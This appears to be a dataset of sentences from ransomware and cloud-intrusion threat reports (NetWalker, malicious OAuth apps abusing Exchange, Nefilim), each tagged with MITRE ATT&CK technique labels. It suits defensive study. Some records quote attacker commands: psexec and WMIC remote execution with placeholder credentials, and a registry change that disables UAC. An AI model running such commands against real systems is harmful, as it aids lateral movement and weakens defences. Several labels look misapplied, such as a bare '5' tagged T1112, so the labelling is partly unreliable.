{"sentence": "Some years ago, a threat actor using the moniker Eriknetwalker was advertising ransomware on several underground forums.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We found posts from 2016 and the latest public activity was around June 2019, several months before NetWalker ransomware made its appearance.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 26.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Eriknetwalker began advertising their ransomware in 2016 (Google-translated from Russian)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Based on our underground research, we linked the moniker Eriknetwalker to the development and/or distribution of Amnesia, Bomber and Scarab ransomware.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Eriknetwalker stopped advertising ransomware around June 2019.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Therefore, we decided to perform a comparative analysis between the different ransomware strains linked to Eriknetwalker and some of the earliest versions of NetWalker we could find.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The goal of this comparative analysis was to identify whether there was an overlap between source codes.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "To execute the analysis, we used several tools one of which was the binary visualization tool Veles, which dynamically translates binary information into an abstract visualization that allows us to identify and compare patterns.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The different types of ransomware we began analyzing were the variants of Amnesia, Scarab, and NetWalker.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 27.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Flat visualization of binary data of the different ransomware variants Figure 28.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "3D visualization of binary data of the different ransomware variants Visualizing data in such a manner is a way to use the human brain to quickly identify patterns and be able to draw comparisons between objects.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In our case, we see that, based on the binary data visualized in Figures 27 and 28, the ransomware binaries do yield differences that we cannot ignore.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 29.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Comparison of source code results Figure 29 shows the results of a source code similarity analysis led on the different variants of ransomware named in the figure itself.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Interesting enough, Scarab and Amnesia show a higher overlap with Buran and Zeppelin than the early NetWalker samples.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This finding disproves our earlier hypothesis that NetWalker is linked to the older Amnesia variants based on code overlap.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Often, research teams do not publish their results when it disproves their own hypothesis.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "YARA Rules We uploaded a YARA rule to detect almost all the samples observed in the wild to date.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Indicators of Compromise During our investigation we have observed numerous IoCs linked to NetWalker ransomware.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "To obtain them please visit our McAfee ATR GitHub site, or get the latest NetWalker IoCs and intelligence on many other threats with McAfee Insights.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "MITRE ATT&CK Techniques", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The below techniques were based on our research and complemented with research from industry peers.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Initial Access Exploit Public-Facing Application (T1190) : Exploit Tomcat, Exploit WebLogic Spear phishing Attachment (T1566.001):", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Phishing email Valid Accounts (T1078): RDP compromised Execution PowerShell (T1059.001):", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Windows Command Shell (003) Service Execution (T1569.002):", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Place a value on RunOnce key Modify Registry key (T1112): Create its own registry key in \\SOFTWARE\\<uniquename> Privilege Escalation Exploitation for Privilege Escalation (T1068): CVE-2020-0796, CVE-2019-1458, CVE-2017-0213, CVE-2015-1701 Process Injection (T1055.001): Reflective DLL Injection Defense Evasion Disabling Security Tools (T1562.001): ESET AV Remover, Trend Micro’s Security Agent Uninstall Tool, Microsoft Security Client Uninstall Process Injection (T1055.001): Reflective DLL Injection Deobfuscate/Decode Files or Information (T1140) Obfuscated Files or Information (T1027): PowerShell Script uses Base64 and hexadecimal encoding and XOR-encryption Credential Access Credential Dumping (T1003): Mimikatz, Mimidogz, Mimikittenz, Windows Credentials Editor, Pwdump, LaZagne Brute Force (T1110.001): NLBrute Discovery Network Service Scanning (T1046): SoftPerfect Network Scanner Security Software Discovery (T1518.001)", "labels": ["T1027", "T1112", "T1547.001"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "System Information Discovery (T1082) Lateral Movement Third-Party Software (T1072): TeamViewer, Anydesk Service Execution (T 1569.002): PsExec Lateral Tool Transfer (T1570) Collection Data from information repositories (T1213) Data from local system (T1005) Data from network shared drive (T1039) Command and Control Ingress Tool Transfer (T1105)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Impact Data Encrypted (T1486): NetWalker Ransomware Inhibit System Recovery (T1490): Shadow Copies Deleted Service Stop (T1489) Conclusion Ransomware has evolved into a lucrative business for threat actors, from underground forums selling ransomware, to offering services such as support portals to guide victims through acquiring crypto currency for payment, to the negotiation of the ransom.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "McAfee’s Advanced Threat Research team has analysed the NetWalker ransomware and have been following its evolution from the initial sighting of the Mailto ransomware to its redevelopment into the NetWalker ransomware.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The recent shift to a business-centric model of Ransomware-as-a-Service is a clear sign that it is stepping up, so it seems that the NetWalker group is following in the footsteps of REvil and other successful RaaS groups.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The ransomware developers have proven the ability to refocus and capitalize on current world events and develop lures to help ensure the effectiveness of the ransomware, which has allowed them to become selective of their affiliates by limiting access to the ransomware to only those with vetted access to large organizations.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "As development of the ransomware continues, we have witnessed recent shifts in activity that closely follow in the footsteps of other ransomware developments, including threatening victims with the release of confidential information if the ransom is not met.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "McAfee ATR is actively monitoring ransomware threats and will continue to update McAfee MVISION Insights and its social networking channels with new and current information.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Check out McAfee MVISION Insights for more information.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "If you want to experience some of the MVISION Insights capabilities, go the Preview of MVISION Insights where you can select the top threat information that is available.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Authored by: Thibault Seret, Valentine Mairet, Jeffrey Sman, Alfred Alvarado, Tim Hux, Alexandre Mundo, John Fokker, Marc Rivero Lopez and Thomas Roccia.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The post Take a “NetWalk” on the Wild Side appeared first on McAfee Blog.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Microsoft researchers recently investigated an attack where malicious OAuth applications were deployed on compromised cloud tenants and then used to control Exchange servers and spread spam.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The investigation revealed that the threat actor launched credential stuffing attacks against high-risk accounts that didn’t have multi-factor authentication (MFA) enabled and leveraged the unsecured administrator accounts to gain initial access.", "labels": ["T1110"], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The unauthorized access to the cloud tenant enabled the actor to create a malicious OAuth application that added a malicious inbound connector in the email server.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The spam emails were sent as part of a deceptive sweepstakes scheme meant to trick recipients into signing up for recurring paid subscriptions.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "One of the first observed malicious usage of OAuth applications in the wild is consent phishing.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "In the past few years, Microsoft has observed that more and more threat actors, including nation-state actors, have been using OAuth applications for different malicious purposes – command-and-control (C2) communication, backdoors, phishing, redirections, and so on.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "As soon as the network was revealed, all the related applications were taken down and notifications to customers were sent, including recommended remediation steps.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The time between application deployment and usage varied; there were cases where the actor took months before using the application.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Initial access For the attack to succeed, the threat actor needed to compromise cloud tenant users with sufficient permissions that would allow the actor to create an application in the cloud environment and give it admin consent.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The actor performed credential stuffing attacks against their targets, attempting to access users with the global admin role.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The same application was later used to deploy the rest of the attack.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Based on the success ratio of the authentication attempts, it is inferred that the attacker used a dump of compromised credentials.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "It is also important to note that all the compromised admins didn’t have MFA enabled, which could have stopped the attack.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "These observations amplify the importance of securing accounts and monitoring for high-risk users, especially those with high privileges.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Based on analysis of the event user agent (Swagger-Codegen/1.4.0.0/csharp) and how quickly the deployment of the application was done, it is likely that the actor ran a PowerShell script to perform the following Azure Active Directory (AAD) management activities in all targeted tenants: Register a new single–tenant application with the naming convention of [domain name]_([a-zA-Z]){3} (for example: Contoso_GhY)Add the legacy permission Exchange.ManageAsApp which can be used for app-only authentication of Exchange Online PowerShell moduleGrant admin consent to the above permissionGive global admin and Exchange admin roles to the previously registered applicationAdd application credentials (key/certificate/both) The threat actor added their own credentials to the OAuth application, which enabled them to access the application even if the initially compromised global administrator changed their password.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The activities mentioned gave the threat actor control of a highly privileged application.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "It was observed that the threat actor did not always use the application right after it was deployed.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "In some cases, it took weeks or months before the application was utilized.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Also, in organizations that didn’t monitor for suspicious applications, the applications were deployed for months and used multiple times by the threat actor.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Modifying Exchange settings The threat actor used the privileged application to authenticate the Exchange Online PowerShell module and modify the Exchange settings of the compromised server.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Most organizations using Microsoft 365 and Office 365 don’t need custom connectors for regular mail flow, but some use it when they need to process messages from another messaging system that’s not running Exchange, or if they have a network appliance that performs policy checks and then routes messages to their Exchange server.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The threat actor set a new inbound connector with the naming convention Ran_([a-zA-Z]){5} (for example Ran_xAFzd).", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The purpose of the inbound connector was to allow mails from certain IPs (that are related to the attacker’s infrastructure) to flow through the victim’s Exchange server.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This allowed the threat actor to send emails that looked like they originated from the compromised Exchange domain.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The configuration information for the newly created connectors were seen in Exchange audit event New-InboundConnector.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The following table shows the configuration parameters in the audit event related to this change: NameValue“Name”“Ran_jBelh”“Enabled”“True”“CloudServicesMailEnabled”“True”“RestrictDomainsToCertificate”“False”“SenderDomains”“smtp:*;1”“SenderIPAddresses”“170.75.174.97;170.75.172.8;170.75.170.69;170.75.174.95; 54.39.94.145;149.56.200.36;158.69.21.185;66.70.201.131”“RestrictDomainsToIPAddresses”“True”“ConnectorSource”“HybridWizard”“EFSkipIPs”“170.75.174.97;170.75.172.8;170.75.170.69;170.75.174.95; 54.39.94.145;149.56.200.36;158.69.21.185;66.70.201.131”“TreatMessagesAsInternal”“False”“ConnectorType”“OnPremises”“RequireTls”“False”Create transport rules Transport rules (also known as mail flow rules) are sets of actions that can be taken on any mail that flows in the organization.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The threat actor utilized this feature to set 12 new transport rules with the naming convention of Test01 to Test012.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Each of these transport rules were responsible for deleting the following specific headers from every mail that flowed in the organization: X-MS-Exchange-ExternalOriginalInternetSenderX-MS-Exchange-SkipListedInternetSenderReceived-SPFReceivedARC-Authentication-ResultsARC-Message-SignatureDKIM-SignatureARC-SealX-MS-Exchange-SenderADCheckX-MS-Exchange-Authentication-ResultsAuthentication-ResultsX-MS-Exchange-AntiSpam-MessageData-ChunkCountBy deleting these headers, the attacker tried defense evasion to prevent security products or email providers detecting or blocking their emails and increase the success rate of the spam campaign.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The configuration information for the newly created transport rules were seen in Exchange audit event New-TransportRule.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The following table shows the configuration parameters in the audit event related to this change: NameValue“Name”“Test06”“SenderAddressLocation”“Header”“RemoveHeader”“ARC-Message-Signature”These modifications to the Exchange server settings allowed the threat actor to perform their primary goal in the attack: sending out spam emails.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Based on our research, this actor has sent high volumes of spam emails in short timeframes through other methods, such as connecting to mail servers from rogue IP addresses or sending directly from legitimate cloud-based bulk email sending infrastructure.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "While the scheme possibly led to unwanted charges for targets, there was no evidence of overt security threats such as credential phishing or malware distribution.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The spam campaign carried the hallmarks of this actor: programmatically generated messages containing two visible hyperlinked images in the email body, as well as dynamic and randomized content injected within the HTML body of each mail message to evade spam filters. Figure 3.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "An example of spam email sent through the Exchange inbound connectorThe hyperlinked images within the spam messages implied to recipients that they were eligible for a prize.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Once clicked, the hyperlink directed recipients to a website where they were asked to complete a survey and provide credit card details to pay for the shipping of their prize.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Clicking the image in the spam email leads to this website indicating a prize has been wonThe fine print, visible only by scrolling to the very bottom of a subsequent page, revealed that in providing their credit card information, recipients were not paying a shipping fee for their prize, but were in fact agreeing to be charged fees for several paid subscription services in order to enter into a sweepstakes for the prize.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "It is likely the threat actor’s main motive was potential financial gain from people who fell victim to this deceptive sweepstakes spam campaign.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Figure 5.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Examples of dynamic URL generation (domain obfuscated)This spam campaign exclusively targeted consumer email accounts.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "In the case of spam messages sent to Microsoft-hosted consumer email accounts (outlook.com), the spam emails were moved into customers’ junk folders before they could be viewed and clicked.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Mitigations While the follow-on spam campaign targets consumer email accounts, this attack targets enterprise tenants to use as infrastructure for this campaign.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "The most common initial access vector observed in this attack was account compromise through credential stuffing, and all the compromised administrator accounts did not have MFA enabled.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Implementing security practices that strengthen account credentials such as enabling MFA raises the cost of an attack.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Enable conditional access policies Conditional access policies are evaluated and enforced every time the user attempts to sign in.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Enable security defaults While some of the features mentioned above require paid subscriptions, the security defaults in Azure AD, which is mainly for organizations using the free tier of Azure Active Directory licensing, are sufficient to better protect the organizational identity platform, as they provide preconfigured security settings such as MFA, protection for privileged activities, and others.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Each product can provide a different aspect for protection to cover the techniques observed in this attack: Microsoft 365 Defender Suspicious email-sending pattern from new Exchange inbound connector – This alert is generated when a suspicious email-sending pattern originating from a new Exchange inbound connector is detected.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This behavior might suggest that an attacker set a malicious inbound connector to allow anonymous relay through the organization’s Exchange server.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Recommended reading to response for malicious connector incidents: New transport rule removing antispam header –", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This alert is generated when a new transport rule to remove antispam header is detected.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Suspicious inbound connector and transport rule created to remove sender email headers – This alert is generated when a suspicious inbound connector and transport rule is created to remove headers that identify the true source address of sender.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This might indicate a spam campaign is ongoing from the organization’s mailbox.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Suspicious Azure AD app creation – This alert is generated when a user account creates Azure Active Directory OAuth application with suspicious characteristics, as observed in this campaign.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Microsoft Defender for Office 365 Microsoft Defender for Office 365 detects threat activity associated with this spamming campaign through the following email security alerts.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "We’re listing them here because we recommend that these alerts be investigated and remediated immediately.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Microsoft removes the infected messages from Exchange Online mailboxes using zero-hour auto purge (ZAP) if this event occurs.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Microsoft Defender for Cloud Apps Activity from suspicious IP addresses.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "These IP addresses were identified as being involved in malicious activities, such as performing password spray, botnet C2, and may indicate a compromised account.", "labels": ["T1110"], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Activity from a password-spray associated IP address.", "labels": ["T1110"], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Activity related to this campaign will trigger the following alert: OAuth app with suspicious metadata has Exchange permission​. This alert is generated when a line of business OAuth app with suspicious metadata has privilege to manage permission over Exchange, which can lead an OAuth App to perform data collection or exfiltration activities or attempts to access and retrieve sensitive information.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "It detects suspicious sign-in attempts and raises any of the following alerts: Anomalous Token.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This alert flags a token’s unusual characteristics, such as its token lifetime or played from an unfamiliar location.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Unfamiliar sign-in properties.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "In this phishing campaign, the attackers used multiple proxies or VPNs originating from various countries or regions unfamiliar to the target user.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This alert flags anomalies in the token claims, token age, and other authentication attributes.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "This alert flag sign-in attempts from anonymous IP addresses (for example, Tor browser or anonymous VPN).Hunting queries To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries: Applications given the “Exchange.ManageAsApp” permission: CloudAppEvents | where Timestamp > ago(30d) | where ActionType == \"Add app role assignment to service principal.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "ResultStatus == \"Success\" | where RawEventData has \"dc50a0fb-09a3-484d-be87-e023b12c6440\" //Exchange.ManageAsApp", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Role Id | project Timestamp, AccountObjectId,AccountDisplayName, AppId = RawEventData.ModifiedProperties[0].NewValue, AppName = RawEventData.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "ModifiedProperties[6].NewValue New transport rules that remove anti-spam headers from emails: CloudAppEvents | where ActionType == \"New-TransportRule\" | mvexpand Param = RawEventData.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Parameters | where Param.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Name == \"RemoveHeader\" and Param.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Value contains \"X-MS-Exchange-AntiSpam-MessageData\" | project Timestamp, AccountObjectId, AccountDisplayName, ServicePrincipalId = tostring(RawEventData.", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "AppId)", "labels": [], "doc_title": "Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog"}
{"sentence": "Over the past year there has been a rise in extortion malware that focuses on stealing sensitive data and threatening to publish the data unless a ransom is paid.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "This technique bypasses some of the mitigations put in place, such as backups, which would allow IT organizations to recover data without having to pay such a ransom.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "About Nefilim Ransomware Nefilim ransomware emerged in March 2020 when Nemty operators quit the ransomware as a service model to concentrate their energy on more targeted attacks with more focused resources.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "The author of the Nemty ransomware also appears to have shared Nemty’s source code with others.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Sharing many notable similarities with Nemty version 2.5, Nefilim has the capabilities to move laterally within networks.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "The hackers target organizations using the unpatched or poorly secured Citrix remote-access technology, stealing data and then deploying ransomware.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Nefilim attackers exfiltrate sensitive data before encryption.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "When ransoms are not paid, they have been known to shame victims by posting their data on the dark web. Technical Details Initial access Nefilim ransomware is distributed through exposed Remote Desktop Protocol (RDP) setups by brute-forcing them and using other known vulnerabilities for initial access, i.e. vulnerabilities in Citrix gateway devices.", "labels": ["T1021.001", "T1110", "T1190"], "doc_title": "Nefilim Ransomware"}
{"sentence": "Nefilim places a heavy emphasis on Remote Desktop Protocols.", "labels": ["T1021.001"], "doc_title": "Nefilim Ransomware"}
{"sentence": "Once an attacker gains a foothold on the victim system, the attacker drops and executes its components such as anti-antivirus, exfiltration tools, and finally Nefilim itself.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Lateral Movement Among the various tactics and techniques used by the attackers, they rely on tools such as PsExec to remotely execute commands in their victims’ networks.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "It has been also seen that Nefilim uses other tools to gather credentials that include Mimikatz, LaZagne, and NirSoft’s NetPass.", "labels": ["T1003.001"], "doc_title": "Nefilim Ransomware"}
{"sentence": "It uses bat files to stop services/kill processes as shown in below image, and the stolen credentials are used to reach high-value machines like servers.", "labels": ["T1059.003", "T1078"], "doc_title": "Nefilim Ransomware"}
{"sentence": "Some of the commands that execute by the attacker Start copy kill.bat \\destinationip\\c$\\windows\\temp Start psexec.exe \\destinationip -u domain\\username\\ -p password -d", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "-h -r mstdc -s -accepteula -nobanner c:\\windows\\teamp\\Kill.bat Start psexec.exe -accepteula \\destinationip -u domain\\username\\ -p password reg add HKLM\\software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v", "labels": ["T1112"], "doc_title": "Nefilim Ransomware"}
{"sentence": "EnableLUA /t REG_DWORD /d", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "0 /F WMIC /node: \\destinationip /username:”domain\\username” /password:”password” process CALL CREATE “cmd.exe /c", "labels": ["T1047"], "doc_title": "Nefilim Ransomware"}
{"sentence": "/password:”password” process CALL CREATE “cmd.exe /c C:\\WINDOWS\\TEMP\\kill.bat\" Below images shows A batch file to stop services/kill processes Fig.", "labels": ["T1059.003"], "doc_title": "Nefilim Ransomware"}
{"sentence": "It appends AES encrypted key at end of the encrypted file.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "This AES encryption key will then be encrypted by an RSA-2048 public key that is embedded in the ransomware executable.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "3 Crypto API’s in Nefilim IOC In the Below image malware create Mutex Fig.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "4 Creating Mutex Some of the Anti-debugging techniques: Ransomware uses anti-debugging method by calling the IsDebuggerPresent function.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "This function detects if the calling process is being debugged by a user-mode debugger.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "It also makes use of API GetTickCount / QueryPerformanceCounter to get the number of ticks since the last system reboot.", "labels": ["T1106"], "doc_title": "Nefilim Ransomware"}
{"sentence": "5", "labels": ["T1112"], "doc_title": "Nefilim Ransomware"}
{"sentence": "Anti debugging API Fig.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "The attack was first published on May 5, 2020.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Two months previously, Toll Group was a victim of a Netwalker ransomware attack.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "In both cases, Toll Group refused to pay the ransom.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "In response, Nefilim leaked sensitive Toll Group data and popularized that Toll Group had failed to employ full cybersecurity protocols even after the Netwalker attack, potentially making the organization vulnerable to more attacks.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "This demonstrates how Nefilim will keep the pressure on its victims to pay ransoms.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Disable RDP if not used.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Use VPN to access the network, instead of exposing RDP to the Internet.", "labels": [], "doc_title": "Nefilim Ransomware"}
